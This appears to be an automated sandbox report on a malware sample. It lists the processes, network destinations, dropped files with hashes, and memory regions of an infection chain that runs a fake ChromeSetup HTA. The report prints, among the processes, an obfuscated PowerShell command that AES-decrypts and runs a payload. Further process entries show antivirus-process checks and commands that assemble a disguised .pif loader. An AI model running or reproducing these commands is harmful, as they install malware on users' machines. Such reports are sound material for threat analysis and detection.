PID 2636 wrote to memory of 1872 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 2636 wrote to memory of 1872 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 2636 wrote to memory of 1872 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

Processes

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\ChromeSetup.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function TLcToxJS($Imjw){return -split ($Imjw -replace '..', '0x$& ')};$eGLbfA = TLcToxJS('88713C0E6345BF6F01234702EC33828DDF2378F0EB28C8C270C3C536F77F2A54D7C551CF332C7EFBAF6008BFF77DA8394D3473142E76214843C7E2728213CE6C97DE8B20BE13ABE17961072C4BEB4AF63EE7E46FC28FAF8FBAB114708D65DA81E5E0ED6AF7D726C17278A48BEC42EC6BBE58DF4595E510DF26A125762D63550A3000230E2088A014B6E1C6C14C2820693207376F17572345B88EC7F724E177A87B0213D1AC159F23E2B4B8D62637C9C52EE0C61AF3F759CE95D4CCFDDF0A2920F9BE9528C53A00FA3E5E072D939A82148E1776937E0D3EE2417D96EB758AB281FBA019DD2FA30AC300F00A6F4948DFD2D169927C6877A7588F5C44E400419BD6307661915A781BDB5C8206A73196CDE95289A3349017F0A372F159A386104D96295F3F438637717852645E0A13E68B91D1C9DCC32199E06F03D3F18182C07AE06CFD02653A671F7F90E597264B1AB8630350388A281494A22166BCB1E37F99F9EE48E74940CA6C5664AA1C448238D37ABFE7BE981A0A4E70DC3B0DDFC66538A07BC735D13C2A030C1F254D3232CA5BD9E70858BDE03361E3A65FC4F06D462EAF5EC013F2C34DE3ECD079C2FB4A4B03C10C5C2B4EC7B6F86FC6CE2456855E39C9EE5FC9C630D415D23ADED57DD934EDA90E63224A16BF4E09F979802D9AE10954F5BD3B5578A6C00AA970D90E4785E80AEAE49317C95D54C1B08E1CC832B6F70717511068D683A1255FD896F64ABAA25551AD9668C3BF7378E17F68C6EDDBA093F48BE9FCB33545BB8E1D155B3433F5F36CEB9331DED5F64C86B2134F57C4A43C62273B2BE22CF9FFC0738F919E86116A5450C795807EE8877F1DBD799496CCF6739DACB0F81EF980F33800C6F5666CC22C574E394123A5A09FD9C660B1F295B3527FD32F61858CCB3369A181B1532D9BFD6833EB6F6D3F65D514F38472B577FB8C988FD2C8652F8F46F507A7CBA0FD6608864F30653D030DC31D049A5D0563BA61A2EFBAA8BB4825655A24C0CD4E1B9370628A4231400F6458CD6E70274AA26C4C08074C7D9A9D10DEABFF20861561FBBDA361C1140EE331F0467C225AB79BB530FADE7B415F60EA39D9C0943627996F318DF6EED8076C4C5DCB604FF6441C32A0196836C1394C79F28CD6A6EA1116FE9F0E10B6BAF9884B9D8E1AFB0162E467C4AAEE322A536D223430EADE38BC4267B3DEF3F964495B1C40A083D4E0C1F248825C62DCC7995C4870848F86637A32C271D202C5F98CC839D02847FB6857CE5A8E00DDA8B74B66E15115AD1BD6174AB6A160427FFAA1F33FF268D51253FC1C4163F0C7A2F65DC993B3DE547C7A510AF2C2A75A06398041402E9B8A7DEC77D052B922B59A7B608D95DF41CF8C3D9B25062BA3D357C54BF29264105D3F47E285C4667440C9D95C33594DA1D64F157A5C9DF920F92BF4CDABAAEC1C9E63459CDC18164C0D8E7A028941C06483663379FC6E20727DA1799FB7FEC57F45CE3DAE1DE32B38162DA998F7345141B34F6A32CA80860A6AE45D73FDDE1BFFF7A3E35966226200D6FEDB2F5F55A6D15F4E6E10A42EE2AF5EF1AB59D5156FAF3EFE1D267E3562417FB3741FEC879A432B8B25A0C804213FFB17AD28D77B52B3401862CF5D8A79B3815F08361F0690375F1444A5652755241B7B4C76E7B42BC96CBC4AC7DD4DE115175DFCBA5B484D4B254BA0A3C3A24874E3D90347F7EA8DA46AC7B123E8B9');$xBQDa = [System.Security.Cryptography.Aes]::Create();$xBQDa.Key = TLcToxJS('466371524D774563634159445A6A426E');$xBQDa.IV = New-Object byte[] 16;$PuTlXHvG = $xBQDa.CreateDecryptor();$BgiNlDJqW = $PuTlXHvG.TransformFinalBlock($eGLbfA, 0, $eGLbfA.Length);$HxMgCSafi = [System.Text.Encoding]::Utf8.GetString($BgiNlDJqW);$PuTlXHvG.Dispose();& $HxMgCSafi.Substring(0,3) $HxMgCSafi.Substring(3)

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\sample.pdf"

C:\Users\Admin\AppData\Roaming\ChromeSetup.exe

"C:\Users\Admin\AppData\Roaming\ChromeSetup.exe"

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k move Bathrooms Bathrooms.bat & Bathrooms.bat & exit

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=DB0107E573546FF35866715FBD4AE9D8 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=DB0107E573546FF35866715FBD4AE9D8 --renderer-client-id=2 --mojo-platform-channel-handle=1756 --allow-no-sandbox-job /prefetch:1

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=ACD5BB1F196BA1375A0045A344C2F924 --mojo-platform-channel-handle=1764 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=6ECDAD9A79189A7C02C294BDE5FCC11D --mojo-platform-channel-handle=2332 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=3243B0154B8B4133AB9767C927801844 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=3243B0154B8B4133AB9767C927801844 --renderer-client-id=5 --mojo-platform-channel-handle=2032 --allow-no-sandbox-job /prefetch:1

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=4AAF0F7B55F13C866EEA7E5F79D193F6 --mojo-platform-channel-handle=2708 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=BEF59DA98A3D6D6DD7E684BF11639301 --mojo-platform-channel-handle=2884 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Windows\SysWOW64\tasklist.exe

tasklist

C:\Windows\SysWOW64\findstr.exe

findstr /I "wrsa.exe opssvc.exe"

C:\Windows\SysWOW64\tasklist.exe

tasklist

C:\Windows\SysWOW64\findstr.exe

findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c md 13137

C:\Windows\SysWOW64\cmd.exe

cmd /c copy /b Compound + Injection + Emotions + Worm + Participants 13137\Donations.pif

C:\Windows\SysWOW64\cmd.exe

cmd /c copy /b Src + Expressions + Safari + Treasury 13137\x

C:\Users\Admin\AppData\Local\Temp\13137\Donations.pif

13137\Donations.pif 13137\x

C:\Windows\SysWOW64\PING.EXE

ping -n 5 127.0.0.1

C:\Windows\SysWOW64\dialer.exe

"C:\Windows\system32\dialer.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1064 -ip 1064

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1064 -s 984

Network

Country Destination Domain Proto
US 8.8.8.8:53 pdfobject.com udp
US 185.199.110.153:443 pdfobject.com tcp
FI 65.21.110.244:443 eu-pledge.eu tcp

Files

memory/1572-0-0x0000000004810000-0x0000000004846000-memory.dmp

memory/1572-1-0x0000000070E80000-0x0000000071631000-memory.dmp

memory/1572-2-0x0000000004890000-0x00000000048A0000-memory.dmp

memory/1572-3-0x0000000004890000-0x00000000048A0000-memory.dmp

memory/1572-4-0x0000000004ED0000-0x00000000054FA000-memory.dmp

memory/1572-5-0x0000000005650000-0x0000000005672000-memory.dmp

memory/1572-6-0x00000000056F0000-0x0000000005756000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t3cro0pc.da5.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1572-12-0x00000000057D0000-0x0000000005836000-memory.dmp

memory/1572-16-0x0000000005840000-0x0000000005B97000-memory.dmp

memory/1572-17-0x0000000005CF0000-0x0000000005D0E000-memory.dmp

memory/1572-18-0x0000000005D30000-0x0000000005D7C000-memory.dmp

memory/1572-19-0x0000000004890000-0x00000000048A0000-memory.dmp

memory/1572-20-0x0000000007450000-0x0000000007ACA000-memory.dmp

memory/1572-21-0x0000000006250000-0x000000000626A000-memory.dmp

memory/1572-22-0x0000000006FD0000-0x0000000007066000-memory.dmp

memory/1572-23-0x0000000006CC0000-0x0000000006CE2000-memory.dmp

memory/1572-24-0x0000000008080000-0x0000000008626000-memory.dmp

C:\Users\Admin\AppData\Roaming\sample.pdf

MD5 da49bbe37855af62a6a8809453d17b83
SHA1 1f59e84376b2acda296b1b431a16e5cd5dfb7da8
SHA256 229defbb0cee6f02673a5cde290d0673e75a0dc31cec43989c8ab2a4eca7e1bb
SHA512 4aa87ac380cc78375170b08767edac27929fdacceeec84f555dd249239722064388803e675e0ec95c06487cd2c158b83cd768f08d61ee57515e5c52f191f7cd0

C:\Users\Admin\AppData\Roaming\ChromeSetup.exe

MD5 2366f34130db5f39d0d5255782974392
SHA1 6323dd08850cdea997298f91f74078cf0c8e78a2
SHA256 9e495b41518154b5c5cb3fff866aa26c894adf164b2639f05ba23bb5e75be5ef
SHA512 e1a86be3970385627fd110d18a9ba56034cd601c046dbcead2bb5e1e4d0b665c8693c2a0cbd15b3f373b4c018579114640c6d0d0de41081cabae1e424c580803

memory/1572-37-0x0000000070E80000-0x0000000071631000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Bathrooms

MD5 b51276964bb7d7ced0ca782c1505d9ca
SHA1 961d8f2ed348d6bfe38f109e97ab8b55db14591c
SHA256 55cc097b9fcc03fd4c728618889b48973ed7bcf36057edd819ef475f4aca9403
SHA512 fd485c564a64fdb53546c5ddee7dbd52fffea81405d81f49d3a7e1081f892f720120448ecb11190623e7e909683170ece6abaea090cdc857b62b17f1a9d2c547

C:\Users\Admin\AppData\Local\Temp\Injection

MD5 ec92f2e791b5ca001d95fdd601cd73b3
SHA1 4aec16ee635e9eea9732a45d79f9ab8393e966fa
SHA256 ec34737bf586761c5b037e97e4fb4351cf6759e8ce40e5dbaabfe60a44be5179
SHA512 6a5fde00eabb3e36e698b9dc9a5417ab58cbdb866d75a3b49885974b8a1995b64c094532324e9e4187d76990b02910845e63ca00d9bc2026ae77819a5708bd3b

C:\Users\Admin\AppData\Local\Temp\Compound

MD5 d63c5479fd18f86817d489744a338751
SHA1 82385a52bb5485fab0a3d1e7f9a3661bf35d3098
SHA256 3f7aa56dfd875ebf6e3aa86be897f65302f88e4022cf2dc984fdb4ac9cff0037
SHA512 da8a157239ef59e683b2ad06492136cfc52550af0947bb812fc7795f02ab0e09cf510b701a9e247b0ec197879028778a0af8daf01589d1a53090aa4f91bf0361

C:\Users\Admin\AppData\Local\Temp\Participants

MD5 2e6d79912a858f8e13ce1384b18495d1
SHA1 a509ff203fcd463cc11ec1ebbe5cee251a2d3c04
SHA256 a6ac2704a4b63eaf27bc0a2d100a999176f494e7122efe8f633e51c0e2c42ace
SHA512 707d88b54f2df459d331305d36486a38a4ba0fa30834f2331c599f2d1ed4ba25e1c24eccf116454c24e98129c66ae13ce7d2621aa5dd03da92046c42eb3e6af5

C:\Users\Admin\AppData\Local\Temp\Worm

MD5 aa48266704d06ef9043c5521d52fddd0
SHA1 37754ad688f17e227ba8028efe9127d15c08b922
SHA256 5970fe292d0ac770fcaf67e01e99e913426519285180ecb4638859d6969fc444
SHA512 017ea9572c60918ef9cdb81d6c54fba387434874d4335e76a05f4da9eccc8705c38c1811e152c4bf533188bebb26edc4437743eccb750d522e844af70225f840

C:\Users\Admin\AppData\Local\Temp\Expressions

MD5 4d2c4c2d10cbe2b966ed315d3b69ec85
SHA1 79c68a4a84cca7d3d89af86b20b43481c6f3f6f5
SHA256 30466932a194dc9893bf6a7a22e658243d79ce9d76bce07ad73522e1be01c335
SHA512 80a54f0f580b1d23ee746dc0c9858d98d82a24450a3b8b9ecfd7759796b2cdc4714d586351ec8adc70eb8ee3a21a12aa08dc1b83796f91d1b7535ae030f3b205

C:\Users\Admin\AppData\Local\Temp\Treasury

MD5 569abd27c91a69d0fc97103c639cd0d9
SHA1 516d660dcc3c4231d53caaf80633d01f7f8948fe
SHA256 46e24efc3e9471ac4cbe06f66aeb2d3bc5b191157de69cebb41fd93329314168
SHA512 07ae232ae8aa8e39810096ff1dfa9e85563e58d379e31f68c81ae649c102e9fdb4ac3d2b8087600782307cae610290f07a17f9dd6238e027cb80cf976bb3fd13

C:\Users\Admin\AppData\Local\Temp\Safari

MD5 19e438b1543e3d5aa7e3456ca72f8a56
SHA1 a7fa9cadcc36ef9ea33abd617ce704191791bd46
SHA256 a28074961c463363c28a3e01fb4baeebbf7186260e715883524516c8e2944dbf
SHA512 7de13e2a46fa8aaaeed50edf615b26397724e59967032a82df629e62d3f396402ad77830455d18a19177c431801f52043b66371be9e97237a1642ba4c667f0f1

C:\Users\Admin\AppData\Local\Temp\Src

MD5 bca8514ec872114f197260671806ec5d
SHA1 b61846c56e14ed5e819050bd638a49505133889b
SHA256 862e4b3baeb552ed218606848f4014bdb2d51b7cd35dd6d36804973f2c7ec4f5
SHA512 3a6300c19487013e1cce2a0a2ddcf392e872b14f31e5d35d7422848af4026dc7806dfd2c39a4028a86d3e781c075b069fa84cb280c1392bb5fdcedaec5c4109b

C:\Users\Admin\AppData\Local\Temp\Emotions

MD5 569505062321992f4e2803461c40e724
SHA1 b62f7987f92b4397b02b6894e759096fdee1f7db
SHA256 748a3b063eff70ed5ba8a3a2590f409e5ec79d84d402abae5bb26b42e204e434
SHA512 2d23a0322100f570f2298230338c68bd23b683cae2e9a0f27bd5098a6f1c15699d3ba77a319786df34a60739a79f863adb190b6c3aa5fbc06030ae1872cb71fd

C:\Users\Admin\AppData\Local\Temp\13137\Donations.pif

MD5 6ee7ddebff0a2b78c7ac30f6e00d1d11
SHA1 f2f57024c7cc3f9ff5f999ee20c4f5c38bfc20a2
SHA256 865347471135bb5459ad0e647e75a14ad91424b6f13a5c05d9ecd9183a8a1cf4
SHA512 57d56de2bb882f491e633972003d7c6562ef2758c3731b913ff4d15379ada575062f4de2a48ca6d6d9241852a5b8a007f52792753fd8d8fee85b9a218714efd0

C:\Users\Admin\AppData\Local\Temp\13137\x

MD5 a91c6eadc37c8082fcd0d8fd1762b8fe
SHA1 73ce49f75160ed5dafb1b8483111f5d383e919c2
SHA256 4b47058fa38dcae6c5f596fad0f2dcea2071b59e8d8a7b9e26a8585cf7119b69
SHA512 0a5e077e0241941b8d6032dc8920a363a8bddbde52cfef940940da5d0a7244febf22824a290c75741d450ae4dd099bfcba1f20b99dcdbb1e06cfcbf4546460b8

memory/3284-93-0x0000000008850000-0x0000000008871000-memory.dmp

memory/1064-95-0x00000000776B1000-0x00000000777D3000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5 b30d3becc8731792523d599d949e63f5
SHA1 19350257e42d7aee17fb3bf139a9d3adb330fad4
SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
SHA512 523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5 752a1f26b18748311b691c7d8fc20633
SHA1 c1f8e83eebc1cc1e9b88c773338eb09ff82ab862
SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
SHA512 a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5 7d45dd300a60276719a772829599cc9d
SHA1 40357f2295904b3cd23de723d1987598a3236f10
SHA256 c6545b375876d3765cbb3ef27a9b63b4cde98372b81f5c3a9045dc0594ae626c
SHA512 27ce3964d4044e5e98c5fc55c384e8988fbdb889a453fa6f46deb63e8b2d89def2baf52117db623a5232237d8d66b2e30fb6f02b4a2fe0ca90c841029342723b

memory/3284-204-0x000000000ADD0000-0x000000000B07B000-memory.dmp

memory/1064-218-0x0000000003790000-0x0000000003791000-memory.dmp

memory/1064-219-0x0000000005320000-0x000000000538D000-memory.dmp

memory/1064-220-0x0000000005320000-0x000000000538D000-memory.dmp

memory/1064-221-0x0000000005320000-0x000000000538D000-memory.dmp

memory/1064-223-0x0000000005320000-0x000000000538D000-memory.dmp

memory/1064-224-0x0000000005320000-0x000000000538D000-memory.dmp

memory/1064-225-0x0000000005320000-0x000000000538D000-memory.dmp

memory/1064-226-0x0000000005320000-0x000000000538D000-memory.dmp

memory/1064-227-0x00000000064B0000-0x00000000068B0000-memory.dmp

memory/1064-228-0x0000000005320000-0x000000000538D000-memory.dmp

memory/1064-230-0x00000000064B0000-0x00000000068B0000-memory.dmp

memory/1064-231-0x00007FFDC95A0000-0x00007FFDC97A9000-memory.dmp

memory/1064-233-0x00000000064B0000-0x00000000068B0000-memory.dmp

memory/1064-234-0x0000000075440000-0x0000000075692000-memory.dmp

memory/2804-235-0x00000000005F0000-0x00000000005F9000-memory.dmp

memory/2804-238-0x00000000026B0000-0x0000000002AB0000-memory.dmp

memory/2804-237-0x00000000026B0000-0x0000000002AB0000-memory.dmp

memory/2804-240-0x00007FFDC95A0000-0x00007FFDC97A9000-memory.dmp

memory/2804-241-0x00000000026B0000-0x0000000002AB0000-memory.dmp

memory/2804-244-0x0000000075440000-0x0000000075692000-memory.dmp

memory/1064-245-0x00000000064B0000-0x00000000068B0000-memory.dmp

memory/2804-243-0x00007FFDC95A0000-0x00007FFDC97A9000-memory.dmp

memory/2804-246-0x00000000026B0000-0x0000000002AB0000-memory.dmp

memory/2804-247-0x00007FFDC95A0000-0x00007FFDC97A9000-memory.dmp